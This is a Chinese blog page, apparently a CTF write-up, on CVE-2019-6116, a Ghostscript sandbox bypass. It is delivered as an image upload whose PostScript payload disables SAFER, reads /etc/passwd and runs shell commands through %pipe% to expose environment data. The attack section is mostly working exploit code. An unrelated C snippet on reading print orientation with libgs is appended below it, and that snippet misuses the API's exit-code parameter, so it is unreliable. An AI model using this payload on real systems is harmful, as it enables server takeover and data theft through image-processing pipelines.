通过上传恶意图片负载实现GhostScript 沙箱绕过获取到敏感信息(flag)

CVE-2019-6116 漏洞,导致攻击者可以执行任意命令/读取任意文件。

poc

执行命令id > /tmp/success && cat /tmp/success


Content-Disposition: form-data; name="file_upload"; filename="22.png"
Content-Type: image/png
 
%!PS
% extract .actual_pdfpaintproc operator from pdfdict
/.actual_pdfpaintproc pdfdict /.actual_pdfpaintproc get def
 
/exploit {
    (Stage 11: Exploitation...)=
 
    /forceput exch def
 
    systemdict /SAFER false forceput
    userparams /LockFilePermissions false forceput
    systemdict /userparams get /PermitFileControl [(*)] forceput
    systemdict /userparams get /PermitFileWriting [(*)] forceput
    systemdict /userparams get /PermitFileReading [(*)] forceput
 
    % update
    save restore
 
    % All done.
    stop
} def
 
errordict /typecheck {
    /typecount typecount 1 add def
    (Stage 10: /typecheck #)=only typecount ==
 
    % The first error will be the .knownget, which we handle and setup the
    % stack. The second error will be the ifelse (missing boolean), and then we
    % dump the operands.
    typecount 1 eq { null } if
    typecount 2 eq { pop 7 get exploit } if
    typecount 3 eq { (unexpected)= quit }  if
} put
 
% The pseudo-operator .actual_pdfpaintproc from pdf_draw.ps pushes some
% executable arrays onto the operand stack that contain .forceput, but are not
% marked as executeonly or pseudo-operators.
%
% The routine was attempting to pass them to ifelse, but we can cause that to
% fail because when the routine was declared, it used `bind` but many of the
% names it uses are not operators and so are just looked up in the dictstack.
%
% This means we can push a dict onto the dictstack and control how the routine
% works.
<<
    /typecount      0
    /PDFfile        { (Stage 0: PDFfile)= currentfile }
    /q              { (Stage 1: q)= } % no-op
    /oget           { (Stage 3: oget)= pop pop 0 } % clear stack
    /pdfemptycount  { (Stage 4: pdfemptycount)= } % no-op
    /gput           { (Stage 5: gput)= }  % no-op
    /resolvestream  { (Stage 6: resolvestream)= } % no-op
    /pdfopdict      { (Stage 7: pdfopdict)= } % no-op
    /.pdfruncontext { (Stage 8: .pdfruncontext)= 0 1 mark } % satisfy counttomark and index
    /pdfdict        { (Stage 9: pdfdict)=
        % cause a /typecheck error we handle above
        true
    }
>> begin <<>> <<>> { .actual_pdfpaintproc } stopped pop
(Should now have complete control over ghostscript, attempting to read /etc/passwd...)=
 
% Demonstrate reading a file we shouldnt have access to.
(/etc/passwd) (r) file dup 64 string readline pop == closefile
 
(Attempting to execute a shell command...)= flush
 
% run command
(%pipe%id > /tmp/success && cat /tmp/success) (w) file closefile
 
(All done.)=
 
quit
------WebKitFormBoundarys13cRQYwUnOweCS8--

执行命令env > /tmp/success && cat /tmp/success

  • 11
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
要从ps文件中获取打印方向,您可以使用C语言中的libgs库,该库是Ghostscript的C语言接口。以下是一个简单的示例程序,用于获取ps文件的打印方向: ```c #include <stdio.h> #include <string.h> #include "ghostscript/gdevdsp.h" #include "ghostscript/iapi.h" int main(int argc, char *argv[]) { int code; gsapi_revision_t r; gsapi_instance *instance; const char *filename = "test.ps"; // 替换为您的ps文件名 FILE *file; long file_size; char *file_buffer; int orientation; // 初始化Ghostscript code = gsapi_revision(&r, sizeof(r)); if (code < 0) { printf("Failed to initialize Ghostscript\n"); return 1; } code = gsapi_new_instance(&instance, NULL); if (code < 0) { printf("Failed to create Ghostscript instance\n"); return 1; } // 打开ps文件并读取其内容 file = fopen(filename, "rb"); if (!file) { printf("Failed to open input file\n"); return 1; } fseek(file, 0, SEEK_END); file_size = ftell(file); fseek(file, 0, SEEK_SET); file_buffer = (char *) malloc(file_size + 1); fread(file_buffer, file_size, 1, file); fclose(file); file_buffer[file_size] = 0; // 设置Ghostscript参数 gsapi_set_arg_encoding(instance, GS_ARG_ENCODING_UTF8); gsapi_set_stdio(instance, NULL, stdout, stderr); // 初始化Ghostscript code = gsapi_init_with_args(instance, argc, argv); if (code < 0) { printf("Failed to initialize Ghostscript instance\n"); return 1; } // 处理ps文件并获取打印方向 code = gsapi_run_string_begin(instance, 0, &orientation); if (code == 0) { code = gsapi_run_string_continue(instance, file_buffer, file_size, 0, &orientation); } if (code == 0) { code = gsapi_run_string_end(instance, 0, &orientation); } if (code < 0) { printf("Failed to process input file\n"); return 1; } if (orientation == 0) { printf("Vertical orientation\n"); } else if (orientation == 1) { printf("Horizontal orientation\n"); } else { printf("Unknown orientation\n"); } // 关闭Ghostscript gsapi_exit(instance); gsapi_delete_instance(instance); free(file_buffer); return 0; } ``` 在这个例子中,我们使用Ghostscript的C语言接口来处理ps文件并获取打印方向。我们首先打开ps文件并读取其内容,然后使用`gsapi_init_with_args`函数初始化Ghostscript实例并设置参数。接下来,我们使用`gsapi_run_string_begin`、`gsapi_run_string_continue`和`gsapi_run_string_end`函数来处理ps文件并获取打印方向。最后,我们使用`gsapi_exit`和`gsapi_delete_instance`函数关闭Ghostscript实例并释放内存。 请注意,这只是一个简单的示例程序,您可能需要根据实际情况进行修改。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值